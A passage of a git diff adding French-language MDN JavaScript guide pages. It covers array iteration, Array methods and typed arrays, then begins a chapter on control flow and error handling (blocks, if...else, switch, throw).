+console.log(chats); // [ &lt;3 empty slots&gt; ]
+</pre>
+
+<h3 id="Parcourir_un_tableau">Parcourir un tableau</h3>
+
+<p>Un tableau est une structure de données qui se prête particulièrement aux boucles, on pourra utiliser ces dernières pour parcourir les éléments du tableau de façon itérative. Voici un exemple de parcours simple :</p>
+
+<pre class="brush: js notranslate">var couleurs = ['rouge', 'vert', 'bleu'];
+for (var i = 0; i &lt; couleurs.length; i++) {
+  console.log(couleurs[i]);
+}
+</pre>
+
+<p>Si on sait qu'aucun des éléments ne vaut <code>false</code> dans un contexte booléen (par exemple, si le tableau contient des nœuds du <a href="/fr/docs/Web/API/Référence_du_DOM_Gecko">DOM</a>), on peut utiliser une formulation encore plus concise :</p>
+
+<pre class="brush: js notranslate">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* On effectue un traitement sur les  div */
+}
+</pre>
+
+<p>Cette syntaxe permet d'éviter d'avoir à vérifier la longueur du tableau et de gérer l'affectation de la variable <code>div</code> pour chaque élément du tableau.</p>
+
+<p>La méthode {{jsxref("Array.forEach", "forEach()")}} fournit une autre méthode pour parcourir un tableau :</p>
+
+<pre class="brush: js notranslate">var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(function(couleur) {
+  console.log(couleur);
+});
+</pre>
+
+<p>Avec les fonctions fléchées (apparues avec ES6 / ECMAScript 2015), on peut obtenir un code plus concis :</p>
+
+<pre class="brush: js notranslate">var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(couleur =&gt; console.log(couleur));</pre>
+
+<p>La fonction passée comme argument à <code>forEach()</code> est exécutée une fois pour chacun des éléments du tableau (l'élément du tableau sera passé comme argument de cette fonction). Les éléments qui n'ont pas de valeur affectée ne sont pas parcourus lors d'une boucle <code>forEach</code>.</p>
+
+<p>On notera que les éléments ne sont pas parcourus lorsqu'ils n'ont pas eu de valeur d'affectée. Cependant, si on a affecté la valeur {{jsxref("undefined")}} de façon explicite à un élément, il sera pris en compte lors de la boucle :</p>
+
+<pre class="brush: js notranslate">var tableau = ['premier', 'deuxième', , 'quatrième'];
+
+// affiche ['premier', 'deuxième', 'quatrième'];
+tableau.forEach(function(élément) {
+  console.log(élément);
+});
+
+if(tableau[2] === undefined) { console.log('tableau[2] vaut undefined'); } // true
+
+var tableau = ['premier', 'deuxième', undefined, 'quatrième'];
+
+// renvoie ['premier', 'deuxième', undefined, 'quatrième'];
+tableau.forEach(function(élément) {
+  console.log(élément);
+})</pre>
+
+<p>Étant donné que les éléments des tableaux sont stockés comme des propriétés classiques, il n'est pas conseillé d'utiliser des boucles {{jsxref("Instructions/for...in")}} pour parcourir les tableaux car cela listerait également les propriétés énumérables (en plus des éléments).</p>
+
+<h3 id="Méthodes_des_tableaux">Méthodes des tableaux</h3>
+
+<p>L'objet <code>Array</code> possède les méthodes suivantes :</p>
+
+<ul>
+ <li>{{jsxref("Array.concat", "concat()")}} permet de fusionner deux ou plusieurs tableaux et de renvoyer le résultat dans un nouveau tableau :
+  <pre class="brush: js notranslate">var monTableau = new Array("1", "2", "3");
+monTableau = monTableau.concat("a", "b", "c"); // monTableau is now ["1", "2", "3", "a", "b", "c"]
+</pre>
+ </li>
+ <li>{{jsxref("Array.join", "join(délimiteur = ',')")}} permet de fusionner les éléments du tableau en une chaîne de caractères :
+  <pre class="brush: js notranslate">var monTableau = new Array("Air", "Eau", "Feu");
+var list = monTableau.join(" - "); // list sera "Air - Eau - Feu"
+</pre>
+ </li>
+ <li>{{jsxref("Array.push", "push()")}} permet d'ajouter un ou plusieurs éléments à la fin d'un tableau et renvoie la longueur du tableau :
+  <pre class="brush: js notranslate">var monTableau = new Array("1", "2");
+monTableau.push("3"); // monTableau vaut désormais ["1", "2", "3"]
+</pre>
+ </li>
+ <li>{{jsxref("Array.pop", "pop()")}} permet de retirer le dernier élément (le plus à droite) du tableau et renvoie cet élément :
+  <pre class="brush: js notranslate">var monTableau = new Array("1", "2", "3");
+var dernier = monTableau.pop(); // monTableau vaut désormais ["1", "2"], dernier = "3"
+</pre>
+ </li>
+ <li>{{jsxref("Array.shift", "shift()")}} retire le premier élément d'un tableau (le plus à gauche) et renvoie cet élément :
+  <pre class="brush: js notranslate">var monTableau = new Array("1", "2", "3");
+var premier = monTableau.shift(); // monTableau vaut désormais ["2", "3"], premier vaut "1"
+</pre>
+ </li>
+ <li>{{jsxref("Array.unshift", "unshift()")}} ajoute un ou plusieurs éléments au début du tableau et renvoie la longueur du tableau ainsi modifié :
+  <pre class="brush: js notranslate">var monTableau = new Array("1", "2", "3");
+monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]</pre>
+ </li>
+ <li>{{jsxref("Array.slice", "slice(indice_début, indice_fin)")}} extrait une portion d'un tableau et renvoie un nouveau tableau avec ce fragment :
+  <pre class="brush: js notranslate">var monTableau = new Array ("a", "b", "c", "d", "e");
+monTableau = monTableau.slice(1, 4); // extrait les éléments entre l'indice 1 et jusqu'à
+                                     // celui d'indice 3 (4-1), elle renvoie
+                                     // [ "b", "c", "d"]
+</pre>
+ </li>
+ <li>{{jsxref("Array.splice", "splice(indice, nbASupprimer, ajouterElement1, ajouterElement2, ...)")}} retire des éléments du tableau et (éventuellement) les remplace :
+  <pre class="brush: js notranslate">var monTableau = new Array ("1", "2", "3", "4", "5");
+monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut désormais ["1", "a", "b", "c", "d", "5"]
+  // Le code remplace à partir de l'indice 1 (où il y avait la valeur "2"), supprime trois éléments puis
+  // insère les arguments fournis à la suite.
+</pre>
+ </li>
+ <li>{{jsxref("Array.reverse", "reverse()")}} transpose les éléments du tableau à même ce tableau : le premier élément devient le dernier, le dernier devient le premier et ainsi de suite :
+  <pre class="brush: js notranslate">var monTableau = new Array ("1", "2", "3");
+monTableau.reverse(); // monTableau vaut maintenant [ "3", "2", "1" ]
+</pre>
+ </li>
+ <li>{{jsxref("Array.sort", "sort()")}} trie les éléments d'un tableau à même ce tableau :
+  <pre class="brush: js notranslate">var monTableau = new Array("Air", "Feu", "Eau");
+monTableau.sort(); // trie le tableau [ "Air", "Eau", "Feu" ]
+</pre>
+
+  <p><code>sort()</code> peut également utiliser une fonction de rappel (<em>callback</em>) qui détermine comment les éléments sont comparés. La fonction compare deux arguments et renvoie une valeur selon les règles suivantes :</p>
+
+  <ul>
+   <li>Si <code>a</code> est inférieur à <code>b</code> selon l'ordre, renvoie -1 (ou un autre nombre négatif)</li>
+   <li>Si <code>a</code> est supérieur à <code>b</code> selon l'ordre, renvoie 1 (ou un autre nombre positif)</li>
+   <li>Si <code>a</code> et <code>b</code> sont considérés égaux, renvoie 0.</li>
+  </ul>
+
+  <p>Par exemple, on peut utilise la fonction suivante pour trier par rapport à la dernière lettre du mot :</p>
+
+  <pre class="brush: js notranslate">var sortFn = function(a, b){
+  if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+  if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+monTableau.sort(sortFn); // le tableau devient = ["Air","Feu","Eau"]</pre>
+ </li>
+</ul>
+
+<p>Du code permettant d'émuler ces fonctions est disponible sur chacune des pages (<em>polyfill</em>). Le support natif de ces fonctionnalités dans les différents navigateurs peut être trouvé <a href="http://www.robertnyman.com/javascript/">ici</a><a href="http://www.robertnyman.com/javascript/">.</a></p>
+
+<ul>
+ <li>{{jsxref("Array.indexOf", "indexOf(élémentRecherché[, indiceDépart])")}} recherche la valeur <code>élémentRecherché</code> dans le tableau et renvoie l'indice du premier élément qui correspond :
+
+  <pre class="brush: js notranslate">var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b'));    // Affiche 1
+// On recherche après la première correspondance :
+console.log(a.indexOf('b', 2)); // Affiche 3
+console.log(a.indexOf('z'));    // Affiche -1 car 'z' n'a pas été trouvé
+</pre>
+ </li>
+ <li>{{jsxref("Array.lastIndexOf", "lastIndexOf(élémentRecherché[, fromIndex])")}} fonctionne comme <code>indexOf</code>, mais recherche à partir de la fin du tableau :
+  <pre class="brush: js notranslate">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b'));    // Affiche 5
+// On continue la recherche après la première correspondance en fin de tableau
+console.log(a.lastIndexOf('b', 4)); // Affiche 1
+console.log(a.lastIndexOf('z'));    // Affiche -1
+</pre>
+ </li>
+ <li>{{jsxref("Array.forEach", "forEach(callback[, objetThis])")}} exécute la fonction <code>callback</code> sur chaque élément du tableau.
+  <pre class="brush: js notranslate">var a = ['a', 'b', 'c'];
+a.forEach(console.log); // Affichera la valeur de chaque élément dans la console
+</pre>
+ </li>
+ <li>{{jsxref("Array.map", "map(callback[, objetThis])")}} renvoie un nouveau tableau dont les éléments sont les images des éléments du tableau courant par la fonction <code>callback</code> :
+  <pre class="brush: js notranslate">var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // affichera A,B,C dans la console
+</pre>
+ </li>
+ <li>{{jsxref("Array.filter", "filter(callback[, objetThis])")}} renvoie un nouveau tableau qui contient les éléments du tableau courant pour lesquels <code>callback</code> a renvoyé <code>true</code>.
+  <pre class="brush: js notranslate">var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+console.log(a2); // Affichera 10,20,30 dans la console
+</pre>
+ </li>
+ <li>{{jsxref("Array.every", "every(callback[, objetThis])")}} renvoie <code>true</code> si <code>callback</code> renvoie <code>true</code> pour chaque élément du tableau.
+  <pre class="brush: js notranslate">function isNumber(value){
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // affiche true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // affiche false
+</pre>
+ </li>
+ <li>{{jsxref("Array.some", "some(callback[, objetThis])")}} renvoie <code>true</code> si <code>callback</code> renvoie <code>true</code> pour au moins un élément du tableau.
+  <pre class="brush: js notranslate">function isNumber(value){
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // Affiche true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // Affiche false
+</pre>
+ </li>
+</ul>
+
+<p>Les méthodes présentées ci-avant qui prennent une fonction de rappel (<em>callback</em>) en argument sont appelées méthodes itératives car elles parcourent le tableau de façon itérative. Chacune de ces méthodes peut prendre en compte un deuxième argument (optionnel) qui sera l'objet <code>this</code> pris en compte par le <em>callback</em>. Si ce deuxième argument n'est pas fourni, <code>this</code> vaudra la valeur de l'objet global.</p>
+
+<p>La fonction de rappel est appelée avec trois arguments : le premier étant la valeur de l'élément courant, le deuxième est l'indice de cet élément et le troisième représente le tableau lui-même. Les fonctions JavaScript ignorent les arguments supplémentaires qui ne sont pas déclarés explicitement dans la liste des paramètres, on peut donc utiliser une fonction prenant un seul argument comme fonction de rappel.</p>
+
+<ul>
+ <li>{{jsxref("Array.reduce", "reduce(callback[, valeurInitiale])")}} applique <code>callback(premièreValeur, secondeValeur)</code> au fur et à mesure sur le tableau pour le réduire en une seule valeur, c'est cette valeur qui est renvoyée par la fonction :
+
+  <pre class="brush: js notranslate">var a = [10, 20, 30];
+var total = a.reduce(function(premier, deuxième) { return premier + deuxième; }, 0);
+console.log(total) // Affiche 60
+</pre>
+ </li>
+ <li>{{jsxref("Array.reduceRight", "reduceRight(callback[, valeurInitiale])")}} fonctionne comme <code>reduce()</code>, mais débute avec le dernier élément (parcourt le tableau de droite à gauche).</li>
+</ul>
+
+<p><code>reduce()</code> et <code>reduceRight()</code> sont à utiliser lorsqu'on souhaite n'obtenir qu'une seule valeur, récursivement, à partir des différents éléments du tableau. Pour plus d'informations sur l'utilisation d'une valeur d'initialisation pour ces deux fonctions, se référer à leurs pages : {{jsxref("Array.reduceRight")}} et {{jsxref("Array.reduce")}}</p>
+
+<h3 id="Tableaux_multi-dimensionnels">Tableaux multi-dimensionnels</h3>
+
+<p>Les tableaux peuvent être imbriqués les uns dans les autres. Cela signifie qu'un tableau peut avoir un élément dont la valeur est un tableau. En utilisant ce comportement, on peut donc créer des matrices, voire des tableaux à plusieurs dimensions.</p>
+
+<p>Par exemple, avec le code suivant :</p>
+
+<pre class="brush: js notranslate">var a = new Array(4);
+for (i = 0; i &lt; 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j &lt; 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+</pre>
+
+<p>On pourra avoir le tableau suivant sur deux dimensions :</p>
+
+<pre class="brush: js notranslate">Ligne 0 : [0,0] [0,1] [0,2] [0,3]
+Ligne 1 : [1,0] [1,1] [1,2] [1,3]
+Ligne 2 : [2,0] [2,1] [2,2] [2,3]
+Ligne 3 : [3,0] [3,1] [3,2] [3,3]
+</pre>
+
+<h3 id="Les_tableaux_et_les_expressions_rationnelles">Les tableaux et les expressions rationnelles</h3>
+
+<p>Lorsqu'un tableau est le résultat d'une correspondance entre une expression rationnelle et une chaîne de caractères, les éléments et propriétés du tableau fournissent des informations sur la correspondance. Les méthodes suivantes peuvent renvoyer un tableau : {{jsxref("Objets_globaux/RegExp/exec","RegExp.exec()")}}, {{jsxref("Objets_globaux/String/match/exec","String.match()")}},  {{jsxref("Objets_globaux/String/split","String.split()")}}. Pour plus d'informations sur les tableaux et les expressions rationnelles, voir le chapitre du guide JavaScript sur <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">les expressions rationnelles</a>.</p>
+
+<h3 id="Manipuler_des_objets_semblables_à_des_tableaux">Manipuler des objets semblables à des tableaux</h3>
+
+<p>Certains objets JavaScript tels que {{domxref("NodeList")}} (renvoyé par {{domxref("document.getElementsByTagName()")}}) ou l'objet <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments</code></a> (disponible au sein d'une fonction) ressemblent à des tableaux mais n'en sont pas (ils n'ont pas toutes les méthodes décrites ci-avant par exemple). Ainsi, l'objet <code>arguments</code> fournit une propriété {{jsxref("Objets_globaux/Function/length","length")}} mais n'implémente pas la méthode {{jsxref("Array.forEach", "forEach()")}}.</p>
+
+<p>Les méthodes du prototype des tableaux permettent d'utiliser les méthodes d'objets <code>Array</code> sur des objets semblables à des tableaux :</p>
+
+<pre class="brush: js notranslate"> function alertArguments() {
+   Array.prototype.forEach.call(arguments, function(item) {
+     console.log(item);
+   });
+ }
+</pre>
+
+<p>Il est possible d'utiliser ces méthodes génériques sur des chaînes de caractères :</p>
+
+<pre class="brush: js notranslate">Array.prototype.forEach.call("une chaîne", function(chr) {
+   console.log(chr);
+});</pre>
+
+<h2 id="Les_tableaux_typés">Les tableaux typés</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés JavaScript</a> sont des objets semblables à des tableaux qui fournissent un moyen d'accéder à des données binaires. Comme on l'a vu ci-avant, les objets {{jsxref("Array")}} grandissent et rétrécissent dynamiquement et peuvent contenir n'importe quelle valeur JavaScript. Les moteurs JavaScript effectuent des optimisations afin que les tableaux puissent être utilisés rapidement. Cependant, avec le développement des applications web, les applications viennent à manipuler des données audio, vidéo, binaires et accèdent à des données brutes via les <a href="/fr/docs/WebSockets">WebSockets</a> d'autres outils. Il apparaît donc nécessaire d'avoir les outils JavaScript pertinents pour manipuler efficacement des données binaires, organisées au sein de tableaux typés.</p>
+
+<h3 id="Les_vues_et_les_tampons_de_mémoire_buffers_larchitecture_des_tableaux_typés">Les vues et les tampons de mémoire (<em>buffers</em>) : l'architecture des tableaux typés</h3>
+
+<p>Afin de permettre un maximum de flexibilité et d'efficacité, les tableaux typés JavaScript séparent l'implémentation entre <strong>les tampons (<em>buffers</em>)</strong> et <strong>les vues (<em>views</em>)</strong>. Un tampon de mémoire, implémenté par l'objet {{jsxref("ArrayBuffer")}}, est un objet représentant un fragment de données. Un tampon n'a pas de format a proprement parler et il ne fournit aucun mécanisme pour accéder à son contenu. Afin d'accéder à la mémoire contenu dans le tampon, on a besoin d'utiliser une vue. Une vue fournit un contexte, c'est-à-dire un type de donnée, un indice de départ et un nombre d'éléments, qui permet de traiter les données initiales comme un vrai tableau typé.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer"><code>ArrayBuffer</code></h3>
+
+<p>Le type {{jsxref("ArrayBuffer")}} est un type de donnée utilisé pour représenter un tampon de données binaire générique dont la longueur est fixée. Un tampon de données ne peut pas être manipulé directement. Pour manipuler les données, il faut créer une vue sur le tableau typé ou un objet {{jsxref("DataView")}} qui représente le tampon dans un format spécifique et qui pourra être utilisé pour lire et écrire des informations du tampon.</p>
+
+<h3 id="Les_vues_qui_sont_des_tableaux_typés">Les vues qui sont des tableaux typés</h3>
+
+<p>Les vues de tableaux typés possèdent des noms explicites et fournissent des vues pour les types numériques usuels tels que <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> et ainsi de suite. Il existe un type de vue spécial qui est <code>Uint8ClampedArray</code>. Ce type ramène les différentes valeurs exploitées entre 0 et 255. Cela peut notamment être utile pour <a href="/fr/docs/Web/API/ImageData">le traitement des données d'un canvas</a>.</p>
+
+<p>{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}</p>
+
+<p>Pour plus d'informations sur les tableaux typés, voir <a href="/fr/docs/Web/JavaScript/Tableaux_typés">l'article de la référence</a> sur les différents objets {{jsxref("TypedArray")}}.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}</p>
diff --git a/files/fr/web/javascript/guide/contrôle_du_flux_gestion_des_erreurs/index.html b/files/fr/web/javascript/guide/contrôle_du_flux_gestion_des_erreurs/index.html
new file mode 100644
index 0000000000..a267ed8c97
--- /dev/null
+++ b/files/fr/web/javascript/guide/contrôle_du_flux_gestion_des_erreurs/index.html
@@ -0,0 +1,408 @@
+---
+title: Contrôle du flux d'instructions et gestion des erreurs
+slug: Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs
+tags:
+  - Débutant
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}</p>
+
+<p class="summary">JavaScript supporte nativement un ensemble d'instructions. Ces instructions permettent de définir les logiques des algorithmes, le flux des informations, etc. Ce chapitre fournit un aperçu sur le fonctionnement de ces différentes instructions JavaScript.</p>
+
+<p>Toute expression est une instruction, voir la page <a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs">Expressions et opérateurs</a> pour plus d'informations sur les expressions. En JavaScript, le point-virgule (<code>;</code>) est utilisé afin de séparer des instructions dans le code.</p>
+
+<p>Voir la <a href="/fr/docs/Web/JavaScript/Reference/Instructions">Référence JavaScript</a> pour plus de détails sur les différentes instructions décrites dans ce chapitre.</p>
+
+<h2 id="Les_blocs">Les blocs</h2>
+
+<p>L'instruction la plus simple est l'instruction de bloc qui permet de regrouper des instructions. Un bloc est délimité par une paire d'accolades :</p>
+
+<pre class="syntaxbox">{
+   instruction_1;
+   instruction_2;
+   .
+   .
+   .
+   instruction_n;
+}
+</pre>
+
+<h3 id="Exemple">Exemple</h3>
+
+<p>Les instructions de blocs sont souvent utilisées avec les instructions conditionnelles et itératives telles que <code>if</code>, <code>for</code>, <code>while</code>.</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+  x++;
+}
+</pre>
+
+<p>Ici, <code>{ x++; }</code> représente le bloc.</p>
+
+<p><strong>Note impo</strong><strong>rtante </strong>: En JavaScript, avant ECMAScript 2015 (aussi appelé ES6), les blocs <strong>n'introduisaient pas de nouvelles portées</strong>. Les variables introduites dans le bloc avec l'instruction <code>var</code> font partie de la portée de la fonction englobante ou du script. Les effets de leur définition persistent en dehors du bloc. Les blocs seuls utilisés avec <code>var</code> (et non <code>let</code>) pourront laisser penser que ce bloc se comportera comme en C ou en Java. Par exemple :</p>
+
+<pre class="brush: js">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // affichera 2
+</pre>
+
+<p>Cella affichera 2 car l'instruction <code>var x</code> contenue dans le bloc fait partie de la même portée que l'instruction <code>var x</code> écrite avant le bloc. En C ou en Java, le code équivalent à cet exemple aurait produit 1.</p>
+
+<p>Cela a évolué avec ECMAScript 2015 (ES6). Les instructions <code>let</code>et <code>const</code> permettent de déclarer des variables dont la portée est celle du bloc courant. Voir les pages des références {{jsxref("Instructions/let","let")}} et {{jsxref("Instructions/const","const")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'informations sur les blocs, voir <a href="/fr/docs/Web/JavaScript/Reference/Instructions/bloc">l'article sur les blocs</a> de la référence JavaScript.</p>
+</div>
+
+<h2 id="Les_instructions_conditionnelles">Les instructions conditionnelles</h2>
+
+<p>Une instruction conditionnelle est un ensemble de commandes qui s'exécutent si une condition donnée est vérifiée. JavaScript possède deux instructions conditionnelles : <code>if...else</code> et <code>switch</code>.</p>
+
+<h3 id="Instruction_if...else">Instruction <code>if...else</code></h3>
+
+<p>On utilise l'instruction <code>if</code> lorsqu'on souhaite exécuter une instruction si une condition logique est vérifiée (vraie). La clause <code>else</code> est optionnelle et permet de préciser les instructions à exécuter si la condition logique n'est pas vérifiée (l'assertion est fausse). Voici un exemple qui illustre l'utilisation de l'instruction <code>if</code> :</p>
+
+<pre class="syntaxbox">if (condition) {
+  instruction_1;
+} else {
+  instruction_2;
+}</pre>
+
+<p><code>condition</code> peut correspondre à n'importe quelle expression qui est évaluée à <code>true</code> (vrai) ou <code>false</code> (faux). Voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Boolean#Description">booléens</a> pour plus d'informations sur les évaluations qui fournissent les valeurs <code>true</code> ou <code>false</code>. Si la <code>condition</code> vaut <code>true</code>, <code>instruction_1</code> est exécutée, sinon <code>instruction_2</code> sera exécutée. <code>instruction_1</code> et <code>instruction_2</code> peuvent correspondre à n'importe quelle instruction, y compris d'autres instructions <code>if</code>.</p>
+
+<p>Si on doit tester différentes conditions les unes à la suite des autres, il est possible d'utiliser <code>else if</code> pour lier les différents tests. On l'utilise de la façon suivante :</p>
+
+<pre class="syntaxbox">if (condition_1) {
+  instruction_1;
+} else if (condition_2) {
+  instruction_2;
+} else if (condition_n) {
+  instruction_n;
+} else {
+  dernière_instruction;
+}</pre>
+
+<p>Afin d'exécuter plusieurs instructions, on peut les regrouper grâce aux blocs (<code>{ ... }</code>) vus précédemment. C'est une bonne pratique que de les utiliser, surtout si on imbrique plusieurs instructions <code>if</code> les unes dans les autres:</p>
+
+<pre class="syntaxbox">if (condition) {
+  instruction_1_exécutée_si_condition_vraie;
+  instruction_2_exécutée_si_condition_vraie;
+} else {
+  instruction_3_exécutée_si_condition_fausse;
+  instruction_4_exécutée_si_condition_fausse;
+}
+</pre>
+
+<div>Attention à ne pas utiliser des intructions d'affectation dans les expressions conditionnelles. On peut, en effet, très facilement confondre l'affectation et le test d'égalité en lisant le code. Voici un exemple de ce qu'il ne faut <strong>pas</strong> faire :</div>
+
+<pre class="example-bad brush: js">if (x = y) {
+  /* exécuter des instructions */
+}
+</pre>
+
+<p>Ici, on ne teste pas si x vaut y, on affecte la valeur de y à x ! Si vous devez à tout prix utiliser une affectation dans une expression conditionnelle, une bonne pratique sera d'ajouter des parenthèses en plus autour de l'affectation. Par exemple :</p>
+
+<pre class="brush: js">if ((x = y)) {
+  /* exécuter des instructions */
+}
+</pre>
+
+<h4 id="Valeurs_équivalents_à_false_dans_un_contexte_booléen_falsy_values">Valeurs équivalents à false dans un contexte booléen (<em>falsy</em> values)</h4>
+
+<p>Lors d'un test, les valeurs suivantes seront considérées comme équivalentes à <code>false</code> :</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>la chaîne de caractères vide (<code>""</code>)</li>
+</ul>
+
+<p>Les autres valeurs, y compris les objets, seront équivalents à <code>true</code>.</p>
+
+<p>Attention à ne pas confondre les valeurs booléennes « primitives » <code>true</code> et <code>false</code> avec les valeurs crées grâce à un objet <a href="/fr/docs/JavaScript/Reference/Objets_globaux/Boolean"><code>Boolean</code></a>. Par exemple, on aura :</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // cette condition est bien vérifiée !
+if (b === true) // cette condition n'est pas vérifiée !
+
+</pre>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<p>Dans l'exemple qui suit, la fonction<code> checkData </code>renvoie <code>true</code> si une chaîne de caractères mesure trois caractères. Sinon, elle affiche une alerte et renvoie <code>false</code>.</p>
+
+<pre class="brush: js">function checkData(maChaîne) {
+  if (maChaîne.length == 3) {
+    return true;
+  } else {
+    alert("Veuillez saisir trois caractères. " +
+      maChaîne + " n'est pas valide.");
+    return false;
+  }
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur <a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else"><code>if</code>, <code>else</code> et <code>else if</code></a>.</p>
+</div>
+
+<h3 id="Linstruction_switch">L'instruction <code>switch</code></h3>
+
+<p>L'instruction <code>switch</code> permet à un programme d'évaluer une expression et d'effectuer des instructions en fonction des différents cas de figures correspondants aux différentes valeurs. Si un cas correspond au résultat de l'évaluation, le programme exécute l'instruction associée. Voici un exemple utilisant une instruction <code>switch</code> :</p>
+
+<pre class="syntaxbox">switch (expression) {
+  case label_1:
+    instructions_1
+    [break;]
+  case label_2:
+    instructions_2
+    [break;]
+  ...
+  default:
+    instructions_par_defaut
+    [break;]
+}
+</pre>
+
+<p>Pour commencer, le programme recherche (dans l'ordre) une clause <code>case</code> dont le label (ou étiquette) correspond à la valeur de l'expression. Si une telle clause est trouvée, le programme exécutera les instructions associées. Si aucune clause <code>case</code> ne correspond, le programme exécutera les instructions de la clause <code>default</code> si elle est présente. Sinon, le programme continuera avec les instructions qui suivent l'instruction <code>switch</code>. Par convention, la clause <code>default</code> est généralement présentée en dernière bien que ce ne soit pas obligatoire.</p>
+
+<p>L'instruction optionnelle <code>break</code>, éventuellement contenue pour chaque clause <code>case</code>, permet de ne pas exécuter les instructions pour les cas suivants. Si <code>break</code> n'est pas utilisé, le programme continuera son exécution avec les autres instructions contenues dans l'instruction <code>switch</code>.</p>
+
+<p><strong>Exemple</strong><br>
+ Dans l'exemple suivant, si <code>fruit</code> vaut "Banane", le programme exécutera les instructions associées. Quand <code>break</code> est rencontré, le programme passe aux instructions décrites après <code>switch</code>. Ici, si <code>break</code> n'était pas présent, les instructions pour le cas "Cerise" aurait également été exécutées.</p>
+
+<pre class="brush: js">switch (fruit) {
+  case "Orange":
+    console.log("Les oranges sont à 60 centimes le kilo.");
+    break;
+  case "Pomme":
+    console.log("Les pommes sont à 32 centimes le kilo.");
+    break;
+  case "Banane":
+    console.log("Les bananes sont à 48 centimes le kilo.");
+    break;
+  case "Cerise":
+    console.log("Les cerises sont à 3€ le kilo.");
+    break;
+  case "Mangue":
+    console.log("Les mangues sont à 50 centimes le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons pas de " + fruittype + ".");
+}
+console.log("Souhaitez-vous autre chose ?");</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus de détails sur cette instruction, voir la page <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/switch">switch</a></code> de la référence JavaScript.</p>
+</div>
+
+<h2 id="Les_instructions_pour_gérer_les_exceptions">Les instructions pour gérer les exceptions</h2>
+
+<p>Il est possible de lever des exceptions avec l'instruction <code>throw</code> et de les gérer (les intercepter) avec des instructions <code>try...catch</code>.</p>
+
+<ul>
+ <li><a href="#L'instruction_throw">L'instruction throw</a></li>
+ <li><a href="#L'instruction_try...catch">L'instruction try...catch</a></li>
+</ul>
+
+<h3 id="Les_types_dexception">Les types d'exception</h3>
+
+<p>En JavaScript, n'importe quel objet peut être signalé comme une exception. Cependant, afin de respecter certaines conventions et de bénéficier de certaines informations, on pourra utiliser les types destinés à cet effet :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Error#Error_types">Les exceptions ECMAScript</a></li>
+ <li>{{domxref("DOMException")}} et {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="Linstruction_throw">L'instruction <code>throw</code></h3>
+
+<p>L'instruction <code>throw</code> est utilisée afin de signaler (<em>throw </em>en anglais) une exception. Lorsqu'on signale une exception, on définit une expression qui contient la valeur à renvoyer pour l'exception :</p>
+
+<pre class="syntaxbox">throw expression;
+</pre>
+
+<p>Il est possible d'utiliser n'importe quelle expression, sans restriction de type. Le fragment de code qui suit illustre les différentes possibilités :</p>
+
+<pre class="brush: js">throw "Erreur2";  //type String
+throw 42;         //type Number
+throw true;       //type Boolean
+throw {toString: function () { return "je suis un objet !"; } };
+</pre>
+
+<div class="note"><strong>Note :</strong> Il est possible de renvoyer un objet quand on signale une exception. Les propriétés de cet objet pourront être utilisées dans le bloc <code>catch</code> décrit ci-après. Dans l'exemple suivant, on définit un objet <code>monException</code> du type <code>ExceptionUtilisateur</code>, on utilise cet objet dans l'instruction <code>throw</code>.</div>
+
+<pre class="brush: js">// On crée le constructeur pour cet objet
+function ExceptionUtilisateur(message) {
